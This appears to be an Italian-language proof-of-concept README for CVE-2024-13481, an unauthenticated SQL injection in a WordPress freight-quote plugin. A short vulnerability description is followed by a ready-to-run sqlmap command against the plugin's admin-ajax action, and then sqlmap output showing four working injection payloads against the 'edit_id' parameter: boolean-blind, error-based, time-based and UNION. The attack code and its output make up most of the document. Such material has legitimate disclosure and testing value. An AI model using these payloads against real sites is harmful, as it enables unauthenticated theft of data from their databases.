randomrobbiebf/cve-2024-13481LTL Freight Quotes – R+L Carriers Edition <= 3.3.4 - SQL Injection non autenticata
LTL Freight Quotes – R+L Carriers Edition <= 3.3.4 - SQL Injection non autenticata
Il plugin LTL Freight Quotes – R+L Carriers Edition per WordPress è vulnerabile a SQL Injection tramite i parametri 'edit_id' e 'dropship_edit_id' in tutte le versioni fino alla 3.3.4 inclusa, a causa dell'insufficiente escaping del parametro fornito dall'utente e della mancata preparazione adeguata della query SQL esistente. Ciò consente ad attaccanti non autenticati di aggiungere query SQL supplementari alle query già esistenti, che possono essere utilizzate per estrarre informazioni sensibili dal database.
sqlmap.py -u 'http://kubernetes.docker.internal:8929/wp-admin/admin-ajax.php' --data='action=en_wd_edit_warehouse&edit_id=1&wp_nonce=13db5f2e7d' --level=2 --dbms='MySQL '
[*] starting @ 15:35:17 /2025-02-20/
[15:35:18] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: edit_id (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: action=en_wd_edit_warehouse&edit_id=1 AND 8084=8084&wp_nonce=13db5f2e7d
Type: error-based
Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
Payload: action=en_wd_edit_warehouse&edit_id=1 AND GTID_SUBSET(CONCAT(0x7170787171,(SELECT (ELT(3874=3874,1))),0x717a627171),3874)&wp_nonce=13db5f2e7d
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: action=en_wd_edit_warehouse&edit_id=1 AND (SELECT 8170 FROM (SELECT(SLEEP(5)))Gvfy)&wp_nonce=13db5f2e7d
Type: UNION query
Title: Generic UNION query (NULL) - 20 columns
Payload: action=en_wd_edit_warehouse&edit_id=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7170787171,0x6e57584a4f524f56504572467179796c6a6c6c527872646a73464444414144707067736542565243,0x717a627171),NULL,NULL,NULL,NULL,NULL-- -&wp_nonce=13db5f2e7d
---
[15:35:18] [INFO] testing MySQL
[15:35:18] [INFO] confirming MySQL
[15:35:18] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: PHP 8.2.21, Apache 2.4.59
back-end DBMS: MySQL >= 8.0.0